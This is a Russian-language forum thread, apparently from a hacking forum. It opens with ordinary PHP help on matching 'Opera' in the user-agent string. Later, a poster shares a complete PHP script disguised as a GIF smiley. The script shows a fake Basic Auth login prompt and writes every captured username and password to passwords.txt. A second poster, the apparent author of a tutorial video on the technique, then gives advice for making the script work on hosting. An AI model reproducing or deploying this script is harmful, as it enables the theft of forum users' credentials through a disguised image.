
23.04.2008, 09:07
|
|
Участник форума
Регистрация: 21.02.2007
Сообщений: 171
С нами:
10114335
Репутация:
32
|
|
Пасибо.
И еще вопрос.
PHP код:
<?php
$x= $_SERVER['HTTP_USER_AGENT'];
switch ($x)
{
case ('Opera/9.25 (Windows NT 5.1; U; ru)');
echo Опера;
}
Если версия оперы 9,25 то все гуд, но если опера 9,27 или другая, то не выполняется. Можно ли чтоб тока если есть слово Opera, уже выполнять действие?
Последний раз редактировалось Хелпер; 23.04.2008 в 09:09..
|
|
|

23.04.2008, 09:31
|
|
Участник форума
Регистрация: 26.02.2007
Сообщений: 259
С нами:
10107625
Репутация:
67
|
|
Сообщение от Хелпер
Пасибо.
И еще вопрос.
PHP код:
<?php
$x= $_SERVER['HTTP_USER_AGENT'];
switch ($x)
{
case ('Opera/9.25 (Windows NT 5.1; U; ru)');
echo Опера;
}
Если версия оперы 9,25 то все гуд, но если опера 9,27 или другая, то не выполняется. Можно ли чтоб тока если есть слово Opera, уже выполнять действие?
PHP код:
<?
$x = $_SERVER['HTTP_USER_AGENT'];
$y = 'Opera';
$check = strpos($x, $y);
if ($check === false)
{
echo 'Другой браузер<br>';
}
else
{
echo 'Опера';
}
?>
вот тут пофиг какая версия=)
и еще посмари переменную сервер много полезного увидишь)))
PHP код:
<?
echo '<pre>';
print_r ($_SERVER);
echo '</pre>';
?>
|
|
|

23.04.2008, 09:22
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
С нами:
10021597
Репутация:
905
|
|
Вариантов куча
PHP код:
if (strstr ($SERVER['HTTP_USER_AGENT'], "Opera") !== FALSE)
echo "Это опера";
Можно другими функциями - ereg, preg_match, stristr...
|
|
|

23.04.2008, 13:59
|
|
Постоянный
Регистрация: 26.01.2008
Сообщений: 796
С нами:
9626394
Репутация:
357
|
|
Как подменить адрес сайта?
например я на сайте 1.ru, а в адресной строчке написано 2.ru
|
|
|

23.04.2008, 14:02
|
|
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
С нами:
9799586
Репутация:
1385
|
|
это к Php вообще не относится !
это происходит когда к серверу привязывается один или более доменов ..
|
|
|

23.04.2008, 14:03
|
|
Постоянный
Регистрация: 26.01.2008
Сообщений: 796
С нами:
9626394
Репутация:
357
|
|
А с помощью PhP это некак нельзя сделать?
|
|
|

23.04.2008, 14:11
|
|
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
С нами:
9799586
Репутация:
1385
|
|
нет - потому что это никак не связано ...
|
|
|

23.04.2008, 18:45
|
|
Постоянный
Регистрация: 26.01.2008
Сообщений: 796
С нами:
9626394
Репутация:
357
|
|
А еще есть какие нибудь способов кроме таво?
|
|
|

23.04.2008, 21:06
|
|
Новичок
Регистрация: 21.04.2008
Сообщений: 4
С нами:
9502989
Репутация:
0
|
|
Возварщаясь к видео, с которого крали пароль, так вот там способ загнать пхп скрипт в картинку, тобишь сделать скрипт картинкой, и там такой скрипт
PHP код:
<?
//делаем скрипт картинкой
Header("Content-Type: image/gif");
//делаем изображение смайликом из архива
$image = ImageCreateFromGif('mellow.gif');
if(!$_COOKIE['LOGON'])
{
$login = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];
//Авторизация пройдёт, если пароль больше 4-ёх символов и вообще написан логин
if(strlen($pass) <= 4 || !$login)
{
Header('HTTP/1.1 401 Unauthorized');
Header('WWW-Authenticate: Basic realm="ussr-clan-swat.ucoz.ru - login"');
}
elseif($login)
{
//ставим кукис, чтобы при повторном заходе авторизации небыло, в самом начале проверка есть ли кукис ))
setcookie('LOGON',md5($pass));
//запишем пароли в файл
$f = fopen('passwords.txt', 'ab'); //passwords.txt
fwrite($f, $login." ||| ".$pass."\r\n"); //в формате LOGIN ||| PASSWORD
fclose($f);
}
}
imagegif($image);
imagedestroy($image);
?>
Однако, при проверке через свой браузер(их 3) никакая картинка не была видна, пытался заливать на хостинге так смотрел и ничего.
Внимание вопрос: как сделать, чтобы она всё таки была видна как картинка, ато не очет действовать.\
Само видео basic-auth_vs_forums в античате лежит со скриптами в архиве.
|
|
|

23.04.2008, 21:17
|
|
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,187
С нами:
10495046
Репутация:
2642
|
|
Я это видео записывал))
Вот возможные причины:
Mellow.gif не был загружен либо по каким-то причинам не отображается
Но скорее всего, у тебя на хостинге нет поддержки .htaccess. В таком случае, измени расширения файла smile.gif на .php. Если будут выводиться ошибки - то скорее всего не поддерживается библиотека GD.
|
|
|
|
 |
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 6 (пользователей: 0 , гостей: 6)
|
|
|
|